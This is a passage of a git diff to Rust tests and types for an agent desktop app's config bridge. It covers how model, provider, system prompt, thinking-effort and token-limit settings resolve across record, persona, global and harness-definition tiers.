runtime_override_wins_display_when_model_overridden_is_true() { - // Persona-linked agent (record.model == None); persona == "persona-model". + // Persona-linked agent (record.model == None); persona model via tiers. // A live switch pushed "live-model" to the session and set model_overridden. let record = test_record(); let runtime = test_runtime(); @@ -334,29 +410,27 @@ fn runtime_override_wins_display_when_model_overridden_is_true() { goose_native_config: None, captured_at: "".to_string(), }; + let tiers = InheritedConfigTiers { + persona_model: Some("persona-model".to_string()), + ..Default::default() + }; - let surface = read_config_surface( - &record, - Some(runtime), - Some(&cache), - Some(("persona-model", ConfigOrigin::PersonaDefault)), - ); + let surface = read_config_surface(&record, Some(runtime), Some(&cache), &tiers); let model = surface.normalized.model.unwrap(); // Override wins the display value with a runtime-override origin. assert_eq!(model.value.as_deref(), Some("live-model")); assert_eq!(model.origin, ConfigOrigin::RuntimeOverride); - // Persona is the secondary value (not struck through — the UI keys off - // the RuntimeOverride origin to suppress strikethrough). + // Persona is the secondary value. assert_eq!(model.overridden_value.as_deref(), Some("persona-model")); assert_eq!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault)); } #[test] fn no_runtime_override_when_model_overridden_is_false() { - // At spawn the session's current_model == persona model (BUZZ_ACP_MODEL - // is set to the persona model) and model_overridden is false. No override; - // the field falls through to normal precedence. + // At spawn the session's current_model == persona model and + // model_overridden is false. No override; field falls through to normal + // precedence. let record = test_record(); let runtime = test_runtime(); let cache = SessionConfigCache { @@ -368,17 +442,15 @@ fn no_runtime_override_when_model_overridden_is_false() { goose_native_config: None, captured_at: "".to_string(), }; + let tiers = InheritedConfigTiers { + persona_model: Some("persona-model".to_string()), + ..Default::default() + }; - let surface = read_config_surface( - &record, - Some(runtime), - Some(&cache), - Some(("persona-model", ConfigOrigin::PersonaDefault)), - ); + let surface = read_config_surface(&record, Some(runtime), Some(&cache), &tiers); let model = surface.normalized.model.unwrap(); - // model_overridden is false => the override branch is not taken: origin - // is the normal precedence result, never RuntimeOverride. + // model_overridden is false => the override branch is not taken. assert_ne!(model.origin, ConfigOrigin::RuntimeOverride); assert_eq!(model.value.as_deref(), Some("persona-model")); assert_ne!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault)); @@ -402,106 +474,51 @@ fn no_false_positive_override_when_persona_edited_mid_life() { goose_native_config: None, captured_at: "".to_string(), }; + let tiers = InheritedConfigTiers { + persona_model: Some("new-persona-model".to_string()), + ..Default::default() + }; - let surface = read_config_surface( - &record, - Some(runtime), - Some(&cache), - Some(("new-persona-model", ConfigOrigin::PersonaDefault)), - ); + let surface = read_config_surface(&record, Some(runtime), Some(&cache), &tiers); let model = surface.normalized.model.unwrap(); // model_overridden is false => no RuntimeOverride, even though // acp_model != persona_model. The old divergence-based signal would - // have false-positived here. The persona is never surfaced as the - // overridden secondary (that marker is exclusive to a real override). + // have false-positived here. assert_ne!(model.origin, ConfigOrigin::RuntimeOverride); assert_ne!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault)); } -#[test] -fn persona_provider_injection_produces_persona_default_origin() { - let mut record = test_record(); - // Simulate: record has no provider env var, persona provides one. - // The call-site injects it as GOOSE_PROVIDER before calling the reader. - record - .env_vars - .insert("GOOSE_PROVIDER".to_string(), "anthropic".to_string()); - let runtime = test_runtime(); - - let mut surface = read_config_surface(&record, Some(runtime), None, None); - - // Reader sees injected provider as BuzzExplicit. - let provider = surface.normalized.provider.as_ref().unwrap(); - assert_eq!(provider.value.as_deref(), Some("anthropic")); - assert_eq!(provider.origin, ConfigOrigin::BuzzExplicit); - - // Call-site re-tags (simulating had_provider == false). - if let Some(ref mut field) = surface.normalized.provider { - if field.origin == ConfigOrigin::BuzzExplicit { - field.origin = ConfigOrigin::PersonaDefault; - } - } - - let provider = surface.normalized.provider.unwrap(); - assert_eq!(provider.value.as_deref(), Some("anthropic")); - assert_eq!(provider.origin, ConfigOrigin::PersonaDefault); -} - -#[test] -fn persona_system_prompt_injection_produces_persona_default_origin() { - let mut record = test_record(); - // Simulate: record has no system_prompt, persona provides one via env var. - // The call-site injects it as BUZZ_ACP_SYSTEM_PROMPT before calling the reader. - record.env_vars.insert( - "BUZZ_ACP_SYSTEM_PROMPT".to_string(), - "You are a helpful assistant.".to_string(), - ); - let runtime = test_runtime(); - - let mut surface = read_config_surface(&record, Some(runtime), None, None); - - // Reader sees injected prompt as BuzzExplicit. - let prompt = surface.normalized.system_prompt.as_ref().unwrap(); - assert_eq!( - prompt.value.as_deref(), - Some("You are a helpful assistant.") - ); - assert_eq!(prompt.origin, ConfigOrigin::BuzzExplicit); - - // Call-site re-tags (simulating had_prompt == false). - if let Some(ref mut field) = surface.normalized.system_prompt { - if field.origin == ConfigOrigin::BuzzExplicit { - field.origin = ConfigOrigin::PersonaDefault; - } - } - - let prompt = surface.normalized.system_prompt.unwrap(); - assert_eq!( - prompt.value.as_deref(), - Some("You are a helpful assistant.") - ); - assert_eq!(prompt.origin, ConfigOrigin::PersonaDefault); -} +// ── system_prompt builder unit tests ───────────────────────────────────────── #[test] -fn config_file_only_system_prompt_surfaces_as_read_only_config_file_field() { - // Record/env has no prompt; the config file does. It must NOT be - // dropped — it should surface with ConfigFile origin, read-only. - let field = build_system_prompt_field(&None, &Some("File-driven prompt.".to_string())).unwrap(); +fn config_file_only_system_prompt_surfaces_as_config_file_origin() { + // Record/env has no prompt; the config file does. Must surface with + // ConfigFile origin. Write mechanism is always RespawnWithEnvVar for + // system_prompt — the UI writes back via BUZZ_ACP_SYSTEM_PROMPT. + let record = test_record(); + let field = build_system_prompt_field( + &record, + &Some("File-driven prompt.".to_string()), + &no_tiers(), + ) + .unwrap(); assert_eq!(field.value.as_deref(), Some("File-driven prompt.")); assert_eq!(field.origin, ConfigOrigin::ConfigFile); - assert!(matches!(field.write_via, ConfigWriteMechanism::ReadOnly)); + assert!(matches!( + field.write_via, + ConfigWriteMechanism::RespawnWithEnvVar { ref env_key } + if env_key == "BUZZ_ACP_SYSTEM_PROMPT" + )); assert!(field.overridden_value.is_none()); } #[test] fn record_system_prompt_shadows_config_file_prompt_as_secondary() { - let field = build_system_prompt_field( - &Some("Record prompt.".to_string()), - &Some("File prompt.".to_string()), - ) - .unwrap(); + let mut record = test_record(); + record.system_prompt = Some("Record prompt.".to_string()); + let field = + build_system_prompt_field(&record, &Some("File prompt.".to_string()), &no_tiers()).unwrap(); assert_eq!(field.value.as_deref(), Some("Record prompt.")); assert_eq!(field.origin, ConfigOrigin::BuzzExplicit); assert_eq!(field.overridden_value.as_deref(), Some("File prompt.")); @@ -510,19 +527,19 @@ fn record_system_prompt_shadows_config_file_prompt_as_secondary() { #[test] fn no_system_prompt_from_any_tier_yields_none() { - assert!(build_system_prompt_field(&None, &None).is_none()); + let record = test_record(); + assert!(build_system_prompt_field(&record, &None, &no_tiers()).is_none()); } #[test] fn explicit_record_model_not_retagged_when_already_present() { let mut record = test_record(); - // Record already has its own model — persona resolution should NOT re-tag. + // Record already has its own model — origin stays BuzzExplicit. record.model = Some("explicit-model".to_string()); let runtime = test_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); - // had_model == true, so no re-tagging occurs. Origin stays BuzzExplicit. let model = surface.normalized.model.unwrap(); assert_eq!(model.value.as_deref(), Some("explicit-model")); assert_eq!(model.origin, ConfigOrigin::BuzzExplicit); @@ -544,7 +561,7 @@ fn extra_env_vars_appear_in_advanced_as_buzz_explicit() { .insert("SPROUT_ACP_MEMORY".to_string(), "mem-value".to_string()); let runtime = test_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let advanced_keys: Vec<&str> = surface.advanced.iter().map(|f| f.key.as_str()).collect(); assert!( @@ -575,21 +592,15 @@ fn extra_env_vars_appear_in_advanced_as_buzz_explicit() { #[test] fn extra_env_var_skipped_when_already_in_file_config_extra() { - // If a key is in both record.env_vars and file_config.extra, the config - // file entry wins (it was already added to advanced). The env var must - // not produce a second entry. - // - // We can't inject into file_config.extra directly in a unit test (it - // comes from disk), so we verify the dedup logic via the normalized-key - // path: GOOSE_THINKING_EFFORT is a normalized key and must not appear - // in advanced even if set in env_vars. + // If a key is normalized, it must not appear in advanced even if set + // in env_vars. let mut record = test_record(); record .env_vars .insert("GOOSE_THINKING_EFFORT".to_string(), "high".to_string()); let runtime = test_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let advanced_keys: Vec<&str> = surface.advanced.iter().map(|f| f.key.as_str()).collect(); assert!( @@ -598,7 +609,7 @@ fn extra_env_var_skipped_when_already_in_file_config_extra() { ); } -// ── buzz-agent normalized env-var field tests ─────────────────────────────── +// ── buzz-agent normalized env-var field tests ───────────────────────────────── // // buzz-agent uses env vars (not a config file) for max_output_tokens and // context_limit. build_numeric_env_field must surface these as BuzzExplicit @@ -634,6 +645,7 @@ fn buzz_agent_runtime() -> &'static KnownAcpRuntime { thinking_env_var: Some("BUZZ_AGENT_THINKING_EFFORT"), max_tokens_env_var: Some("BUZZ_AGENT_MAX_OUTPUT_TOKENS"), context_limit_env_var: Some("BUZZ_AGENT_MAX_CONTEXT_TOKENS"), + max_rounds_env_var: Some("BUZZ_AGENT_MAX_ROUNDS"), required_normalized_fields: &["model", "provider"], login_hint: None, auth_probe_args: None, @@ -649,7 +661,7 @@ fn buzz_agent_max_output_tokens_from_env_is_buzz_explicit() { ); let runtime = buzz_agent_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let field = surface.normalized.max_output_tokens.unwrap(); assert_eq!(field.value.as_deref(), Some("8192")); @@ -670,7 +682,7 @@ fn buzz_agent_context_limit_from_env_is_buzz_explicit() { ); let runtime = buzz_agent_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let field = surface.normalized.context_limit.unwrap(); assert_eq!(field.value.as_deref(), Some("100000")); @@ -688,7 +700,7 @@ fn buzz_agent_max_tokens_absent_when_no_env_var_or_file() { let record = test_record(); let runtime = buzz_agent_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); assert!( surface.normalized.max_output_tokens.is_none(), @@ -713,7 +725,7 @@ fn buzz_agent_max_tokens_env_var_not_double_surfaced_in_advanced() { ); let runtime = buzz_agent_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let advanced_keys: Vec<&str> = surface.advanced.iter().map(|f| f.key.as_str()).collect(); assert!( @@ -734,7 +746,7 @@ fn buzz_agent_thinking_effort_from_env_is_buzz_explicit() { .insert("BUZZ_AGENT_THINKING_EFFORT".to_string(), "high".to_string()); let runtime = buzz_agent_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let field = surface.normalized.thinking_effort.unwrap(); assert_eq!(field.value.as_deref(), Some("high")); @@ -755,7 +767,7 @@ fn buzz_agent_thinking_effort_env_var_not_double_surfaced_in_advanced() { ); let runtime = buzz_agent_runtime(); - let surface = read_config_surface(&record, Some(runtime), None, None); + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); let advanced_keys: Vec<&str> = surface.advanced.iter().map(|f| f.key.as_str()).collect(); assert!( @@ -764,10 +776,20 @@ fn buzz_agent_thinking_effort_env_var_not_double_surfaced_in_advanced() { ); } +// ── provider builder unit tests ─────────────────────────────────────────────── + #[test] fn missing_required_provider_still_returns_dropdown_field() { - let provider = build_provider_field(&None, &None, Some("GOOSE_PROVIDER"), false, true) - .expect("required provider field should be surfaced even when empty"); + let record = test_record(); + let provider = build_provider_field( + &record, + &None, + Some("GOOSE_PROVIDER"), + false, + true, + &no_tiers(), + ) + .expect("required provider field should be surfaced even when empty"); assert_eq!(provider.value, None); assert_eq!(provider.origin, ConfigOrigin::EnvVar); @@ -776,5 +798,156 @@ fn missing_required_provider_still_returns_dropdown_field() { #[test] fn missing_optional_provider_stays_hidden() { - assert!(build_provider_field(&None, &None, Some("GOOSE_PROVIDER"), false, false).is_none()); + let record = test_record(); + assert!(build_provider_field( + &record, + &None, + Some("GOOSE_PROVIDER"), + false, + false, + &no_tiers() + ) + .is_none()); +} + +// ── thinking_effort persona/global tier tests (AC-1..5) ────────────────────── +// +// The plan's acceptance criteria for effort tier resolution. +// Tier ordering: record env > ACP > persona env > global env > config file. + +fn buzz_agent_rt() -> &'static KnownAcpRuntime { + crate::managed_agents::discovery::known_acp_runtime_exact("buzz-agent") + .expect("buzz-agent must be in catalog") +} + +/// AC-1: no record effort, global env has effort → GlobalDefault. +/// Real-world case: global-agent-config has BUZZ_AGENT_THINKING_EFFORT=high, +/// per-agent record has no env_vars → effort must surface with GlobalDefault origin. +#[test] +fn global_effort_surfaces_as_global_default_when_record_has_none() { + let record = test_record(); + let runtime = buzz_agent_rt(); + let tiers = global_env_tiers("BUZZ_AGENT_THINKING_EFFORT", "high"); + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let effort = surface + .normalized + .thinking_effort + .expect("effort must surface from global tier"); + assert_eq!(effort.value.as_deref(), Some("high")); + assert_eq!(effort.origin, ConfigOrigin::GlobalDefault); +} + +/// AC-2: persona env has effort, global also has effort → PersonaDefault wins, shadows global. +#[test] +fn persona_effort_shadows_global_and_tags_persona_default() { + let record = test_record(); + let runtime = buzz_agent_rt(); + let tiers = persona_and_global_env_tiers("BUZZ_AGENT_THINKING_EFFORT", "medium", "high"); + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let effort = surface + .normalized + .thinking_effort + .expect("effort must surface from persona tier"); + assert_eq!(effort.value.as_deref(), Some("medium")); + assert_eq!(effort.origin, ConfigOrigin::PersonaDefault); + // global is the overridden baseline + assert_eq!(effort.overridden_value.as_deref(), Some("high")); + assert_eq!(effort.overridden_origin, Some(ConfigOrigin::GlobalDefault)); } + +/// AC-3: record-level effort wins over persona and global, stays BuzzExplicit. +#[test] +fn record_effort_outranks_persona_and_global_keeps_buzz_explicit() { + let mut record = test_record(); + record.env_vars.insert( + "BUZZ_AGENT_THINKING_EFFORT".to_string(), + "xhigh".to_string(), + ); + let runtime = buzz_agent_rt(); + let tiers = persona_and_global_env_tiers("BUZZ_AGENT_THINKING_EFFORT", "medium", "high"); + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let effort = surface + .normalized + .thinking_effort + .expect("effort must surface from record tier"); + assert_eq!(effort.value.as_deref(), Some("xhigh")); + assert_eq!(effort.origin, ConfigOrigin::BuzzExplicit); +} + +/// AC-4: no effort from any tier → thinking_effort field is absent. +#[test] +fn no_effort_anywhere_yields_no_thinking_effort_field() { + let record = test_record(); + let runtime = buzz_agent_rt(); + + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); + + assert!( + surface.normalized.thinking_effort.is_none(), + "thinking_effort must be None when no tier has a value" + ); +} + +/// AC-5 (conflicting-ACP): inherited effort set (global=high) + live ACP effort=low +/// → ACP wins as primary (AcpConfigOption), global is the overridden secondary. +#[test] +fn acp_effort_wins_over_inherited_global_effort_as_secondary() { + let record = test_record(); + let runtime = buzz_agent_rt(); + let cache = SessionConfigCache { + config_options: vec![AcpConfigOptionEntry { + config_id: "effort".to_string(), + category: Some("effort".to_string()), + display_name: Some("Effort".to_string()), + current_value: Some("low".to_string()), + options: vec![], + }], + available_modes: vec![], + available_models: vec![], + current_model: None, + model_overridden: false, + goose_native_config: None, + captured_at: "".to_string(), + }; + let tiers = global_env_tiers("BUZZ_AGENT_THINKING_EFFORT", "high"); + + let surface = read_config_surface(&record, Some(runtime), Some(&cache), &tiers); + + let effort = surface + .normalized + .thinking_effort + .expect("effort must surface from ACP tier"); + // Live ACP value wins. + assert_eq!(effort.value.as_deref(), Some("low")); + assert_eq!(effort.origin, ConfigOrigin::AcpConfigOption); + // Global is surfaced as the overridden baseline. + assert_eq!(effort.overridden_value.as_deref(), Some("high")); + assert_eq!(effort.overridden_origin, Some(ConfigOrigin::GlobalDefault)); +} + +// ── Numerics inheritance tests ──────────────────────────────────────────────── +// +// max_output_tokens and context_limit gain persona/global tiers. + +#[test] +fn numeric_max_tokens_inherits_from_global_env() { + let record = test_record(); + let runtime = buzz_agent_runtime(); + let tiers = global_env_tiers("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "16384"); + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let field = surface.normalized.max_output_tokens.unwrap(); + assert_eq!(field.value.as_deref(), Some("16384")); + assert_eq!(field.origin, ConfigOrigin::GlobalDefault); +} + +// ── Extended tests (split file to respect line-count ratchet) ──────────────── +#[path = "reader_tests_ext.rs"] +mod ext; diff --git a/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests_ext.rs b/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests_ext.rs new file mode 100644 index 0000000000..8613124f25 --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/config_bridge/reader_tests_ext.rs @@ -0,0 +1,258 @@ +//! Additional tests for `config_bridge/reader.rs` — split out to keep +//! `reader_tests.rs` under the 1000-line file-size ratchet. +//! +//! Included as `mod ext` inside `reader_tests.rs`, so `use super::*` gives +//! access to all helpers and types from that module. + +use super::*; + +// ── Numerics inheritance tests ──────────────────────────────────────────────── +// +// max_output_tokens and context_limit gain persona/global tiers. + +#[test] +fn numeric_context_limit_inherits_from_persona_env() { + let record = test_record(); + let runtime = buzz_agent_runtime(); + let tiers = persona_env_tiers("BUZZ_AGENT_MAX_CONTEXT_TOKENS", "200000"); + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let field = surface.normalized.context_limit.unwrap(); + assert_eq!(field.value.as_deref(), Some("200000")); + assert_eq!(field.origin, ConfigOrigin::PersonaDefault); +} + +#[test] +fn record_max_tokens_overrides_global_env_with_secondary() { + let mut record = test_record(); + record.env_vars.insert( + "BUZZ_AGENT_MAX_OUTPUT_TOKENS".to_string(), + "8192".to_string(), + ); + let runtime = buzz_agent_runtime(); + let tiers = global_env_tiers("BUZZ_AGENT_MAX_OUTPUT_TOKENS", "16384"); + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let field = surface.normalized.max_output_tokens.unwrap(); + assert_eq!(field.value.as_deref(), Some("8192")); + assert_eq!(field.origin, ConfigOrigin::BuzzExplicit); + // Global value is the overridden secondary. + assert_eq!(field.overridden_value.as_deref(), Some("16384")); + assert_eq!(field.overridden_origin, Some(ConfigOrigin::GlobalDefault)); +} + +// ── Env-vs-structured collision tests (plan v3, Phase 2) ───────────────────── + +/// Collision test 1: persona structured prompt + global env BUZZ_ACP_SYSTEM_PROMPT +/// → global env wins (env block sits entirely above structured). +#[test] +fn global_env_prompt_wins_over_persona_structured_prompt() { + let record = test_record(); + let runtime = test_runtime(); + let tiers = InheritedConfigTiers { + global_env: { + let mut m = BTreeMap::new(); + m.insert( + "BUZZ_ACP_SYSTEM_PROMPT".to_string(), + "global-env-prompt".to_string(), + ); + m + }, + persona_prompt: Some("persona-structured-prompt".to_string()), + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let prompt = surface.normalized.system_prompt.unwrap(); + assert_eq!(prompt.value.as_deref(), Some("global-env-prompt")); + assert_eq!(prompt.origin, ConfigOrigin::GlobalDefault); +} + +/// Collision test 2: structured persona/record model + higher user-env value at +/// the runtime's model key → env value wins. +#[test] +fn persona_env_model_wins_over_persona_structured_model() { + let record = test_record(); // no record.model + let runtime = test_runtime(); // GOOSE_MODEL + let tiers = InheritedConfigTiers { + persona_env: { + let mut m = BTreeMap::new(); + m.insert("GOOSE_MODEL".to_string(), "env-model".to_string()); + m + }, + persona_model: Some("struct-persona-model".to_string()), + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let model = surface.normalized.model.unwrap(); + // persona env outranks persona struct because env candidates precede struct + assert_eq!(model.value.as_deref(), Some("env-model")); + assert_eq!(model.origin, ConfigOrigin::PersonaDefault); +} + +/// Collision test 3: no env representation → structured persona/record/global +/// fallback and provenance remain intact. +#[test] +fn structured_fallback_intact_when_no_env_representation() { + let record = test_record(); // no record.model, no env vars + let runtime = test_runtime(); + let tiers = InheritedConfigTiers { + persona_model: Some("struct-persona-model".to_string()), + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let model = surface.normalized.model.unwrap(); + assert_eq!(model.value.as_deref(), Some("struct-persona-model")); + assert_eq!(model.origin, ConfigOrigin::PersonaDefault); +} + +// ── Post-sanitization fallthrough test ─────────────────────────────────────── +// +// Sanitization itself happens at the command boundary in `build_inherited_tiers` +// (a value with a NUL byte or an oversize value is dropped from the tier) and is +// pinned by the tests in `commands/agent_config_tests.rs`. The reader only ever +// sees the sanitized result, so what it must guarantee is the downstream half: +// a key stripped from one tier falls through to the next. + +/// A key absent from the global env tier — the shape the reader sees after the +/// command boundary strips an invalid value — falls through to the persona tier. +#[test] +fn post_sanitization_empty_global_env_falls_through_to_persona_tier() { + let record = test_record(); + let runtime = buzz_agent_rt(); + // No global env (stripped); persona provides the valid fallback. + let tiers = persona_env_tiers("BUZZ_AGENT_THINKING_EFFORT", "medium"); + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + // Persona value surfaces instead of the stripped global value. + let effort = surface.normalized.thinking_effort.unwrap(); + assert_eq!(effort.value.as_deref(), Some("medium")); + assert_eq!(effort.origin, ConfigOrigin::PersonaDefault); +} + +// ── Pass-3 prompt collision test ───────────────────────────────────────────── +// +// From Thufir's pass-3 verdict MINOR clarification (promoted to required): +// definition-less record with both structured and env prompt — env wins. + +/// Pass-3 clarification: record.system_prompt = A + record env +/// BUZZ_ACP_SYSTEM_PROMPT = B → B wins as BuzzExplicit. +/// The env block sits above the struct block per v3 candidate-preparation +/// contract; current reader semantics (struct before env) would be wrong. +#[test] +fn record_env_prompt_wins_over_record_struct_prompt_as_buzz_explicit() { + let mut record = test_record(); + record.system_prompt = Some("struct-prompt-A".to_string()); + record.env_vars.insert( + "BUZZ_ACP_SYSTEM_PROMPT".to_string(), + "env-prompt-B".to_string(), + ); + let runtime = test_runtime(); + + let surface = read_config_surface(&record, Some(runtime), None, &no_tiers()); + + let prompt = surface.normalized.system_prompt.unwrap(); + assert_eq!(prompt.value.as_deref(), Some("env-prompt-B")); + assert_eq!(prompt.origin, ConfigOrigin::BuzzExplicit); + // Struct prompt is the secondary. + assert_eq!(prompt.overridden_value.as_deref(), Some("struct-prompt-A")); + assert_eq!(prompt.overridden_origin, Some(ConfigOrigin::BuzzExplicit)); +} + +// ── Definition env tier tests (Layer 2b) ───────────────────────────────────── +// +// The harness definition's `env` block sits below global env and above +// structured values in spawn's precedence (Layer 2b). These tests exercise +// the reader's mapping of that tier to `HarnessDefault` origin. + +/// Definition env wins over structured persona model when no user-env or +/// global-env candidate is present. +#[test] +fn definition_env_beats_structured_persona_model() { + let record = test_record(); // no record.model, no record.env_vars + let runtime = test_runtime(); // model_env_var = "GOOSE_MODEL" + let tiers = InheritedConfigTiers { + definition_env: { + let mut m = BTreeMap::new(); + m.insert("GOOSE_MODEL".to_string(), "harness-model".to_string()); + m + }, + persona_model: Some("persona-struct-model".to_string()), + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let model = surface.normalized.model.unwrap(); + assert_eq!(model.value.as_deref(), Some("harness-model")); + assert_eq!(model.origin, ConfigOrigin::HarnessDefault); + // Structured persona model is the overridden secondary. + assert_eq!( + model.overridden_value.as_deref(), + Some("persona-struct-model") + ); + assert_eq!(model.overridden_origin, Some(ConfigOrigin::PersonaDefault)); +} + +/// Global env beats definition env — user-settable tiers always win over the +/// harness author's defaults. +#[test] +fn global_env_beats_definition_env() { + let record = test_record(); + let runtime = test_runtime(); // model_env_var = "GOOSE_MODEL" + let tiers = InheritedConfigTiers { + global_env: { + let mut m = BTreeMap::new(); + m.insert("GOOSE_MODEL".to_string(), "global-model".to_string()); + m + }, + definition_env: { + let mut m = BTreeMap::new(); + m.insert("GOOSE_MODEL".to_string(), "harness-model".to_string()); + m + }, + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let model = surface.normalized.model.unwrap(); + assert_eq!(model.value.as_deref(), Some("global-model")); + assert_eq!(model.origin, ConfigOrigin::GlobalDefault); + // Harness default is the overridden secondary. + assert_eq!(model.overridden_value.as_deref(), Some("harness-model")); + assert_eq!(model.overridden_origin, Some(ConfigOrigin::HarnessDefault)); +} + +/// A reserved key in the definition env is stripped by sanitization and must +/// not reach the reader. This test exercises the reader's contract (a key +/// absent from the tier falls through) — sanitization itself is pinned in +/// the `agent_config_tests.rs` constructor tests. +#[test] +fn reserved_key_absent_from_definition_env_falls_through() { + let record = test_record(); + let runtime = test_runtime(); // model_env_var = "GOOSE_MODEL" + // definition_env contains only an unrelated key — the env map here is what + // the command boundary would produce after stripping a reserved key; the + // reader must fall through to the next tier (persona structured model). + let tiers = InheritedConfigTiers { + definition_env: BTreeMap::new(), // stripped — nothing survives + persona_model: Some("persona-struct-model".to_string()), + ..Default::default() + }; + + let surface = read_config_surface(&record, Some(runtime), None, &tiers); + + let model = surface.normalized.model.unwrap(); + // Falls through to persona structured model. + assert_eq!(model.value.as_deref(), Some("persona-struct-model")); + assert_eq!(model.origin, ConfigOrigin::PersonaDefault); +} diff --git a/desktop/src-tauri/src/managed_agents/config_bridge/types.rs b/desktop/src-tauri/src/managed_agents/config_bridge/types.rs index 15ccb718e7..6ca2592538 100644 --- a/desktop/src-tauri/src/managed_agents/config_bridge/types.rs +++ b/desktop/src-tauri/src/managed_agents/config_bridge/types.rs @@ -2,6 +2,41 @@ use std::collections::BTreeMap; use serde::{Deserialize, Serialize}; +/// Sanitized inherited config tiers passed to the reader. +/// +/// Built at the `agent_config` command boundary with spawn-equivalent +/// sanitization: reserved, malformed, NUL-value, and oversize-value env keys +/// are stripped (matching `merged_user_env`). Structured fields are +/// normalized: blank/whitespace-only values collapse to `None`. +/// +/// Orphaned persona links (persona_id references a missing persona) produce +/// an empty persona env tier and `None` for all structured persona fields — +/// the panel still renders from record/global. This diverges deliberately from +/// spawn's `OrphanedInstance` refusal, which is a spawn-safety property the +/// display surface does not need to enforce. +#[derive(Debug, Clone, Default)] +pub struct InheritedConfigTiers { + /// Sanitized env vars from the linked persona definition. + pub persona_env: BTreeMap, + /// Sanitized env vars from the global agent config. + pub global_env: BTreeMap, + /// Sanitized env vars from the resolved harness definition (`HarnessDefinition::env`). + /// Sits below global env and above structured values, matching spawn Layer 2b. + /// Empty for preset harnesses (all shipped presets have `env: {}`); only + /// user-authored custom harness JSONs with a non-empty `env` block contribute here. + pub definition_env: BTreeMap, + /// Structured model from the linked persona (non-blank only). + pub persona_model: Option, + /// Structured provider from the linked persona (non-blank only). + pub persona_provider: Option, + /// Structured system_prompt from the linked persona (non-blank only). + pub persona_prompt: Option, + /// Structured model from global config (non-blank only). + pub global_model: Option, + /// Structured provider from global config (non-blank only). + pub global_provider: Option, +} + /// Where a config value came from — determines precedence and UI annotations. #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] #[serde(rename_all = "camelCase")] @@ -17,14 +52,12 @@ pub enum ConfigOrigin { /// Read from harness config file on disk (tier 2b, lowest precedence). ConfigFile, /// Value inherited from persona defaults. - /// Populated by the `get_agent_config_surface` call site: persona values are - /// resolved before calling the reader, then the surface is post-processed to - /// re-tag injected fields from `BuzzExplicit` to `PersonaDefault`. + /// Populated when a persona's env var or structured field wins for this + /// field in the reader's candidate resolution. PersonaDefault, /// Value inherited from global agent configuration defaults. /// The lowest user-settable layer — active when neither the agent record nor - /// the linked persona specifies a value. Re-tagged from `BuzzExplicit` by the - /// `resolve_config_surface` call site, analogously to `PersonaDefault`. + /// the linked persona specifies a value. GlobalDefault, /// Live runtime model override applied via the ModelPicker (Phase 3). /// The ACP session's current model diverges from the persona model because @@ -35,6 +68,11 @@ pub enum ConfigOrigin { /// env var. E.g. Claude Code only supports Anthropic as a provider; the /// "locked" display is synthesized by the config bridge, not read from disk. HarnessConstraint, + /// Value comes from a custom harness definition's `env` block. + /// Sits below global env and above structured persona/global values, + /// matching spawn Layer 2b. Only reachable for user-authored custom harness + /// JSONs with a non-empty `env` block; preset harnesses always have empty env. + HarnessDefault, } /// How a config field can be written back to the runtime. diff --git a/desktop/src-tauri/src/managed_agents/custom_harnesses.rs b/desktop/src-tauri/src/managed_agents/custom_harnesses.rs index e6bc09496c..ba0448beaf 100644 --- a/desktop/src-tauri/src/managed_agents/custom_harnesses.rs +++ b/desktop/src-tauri/src/managed_agents/custom_harnesses.rs @@ -268,7 +268,7 @@ pub(crate) fn registry_test_lock() -> std::sync::MutexGuard<'static, ()> { /// Thread-safe registry of non-builtin (preset + custom) harness definitions, /// populated on every `discover_acp_runtimes_from` call and queried at spawn time. -fn loaded_harness_registry() -> &'static RwLock>> { +pub(super) fn loaded_harness_registry() -> &'static RwLock>> { use std::sync::OnceLock; static REGISTRY: OnceLock>>> = OnceLock::new(); REGISTRY.get_or_init(|| RwLock::new(Vec::new())) diff --git a/desktop/src-tauri/src/managed_agents/discovery.rs b/desktop/src-tauri/src/managed_agents/discovery.rs index 8d1b8a5013..fafcb2589d 100644 --- a/desktop/src-tauri/src/managed_agents/discovery.rs +++ b/desktop/src-tauri/src/managed_agents/discovery.rs @@ -9,12 +9,15 @@ use crate::managed_agents::{ AcpAvailabilityStatus, AcpRuntimeCatalogEntry, AuthStatus, CommandAvailabilityInfo, HarnessSource, }; - mod presets; mod runtime_metadata; - +#[macro_use] +mod windows_install; 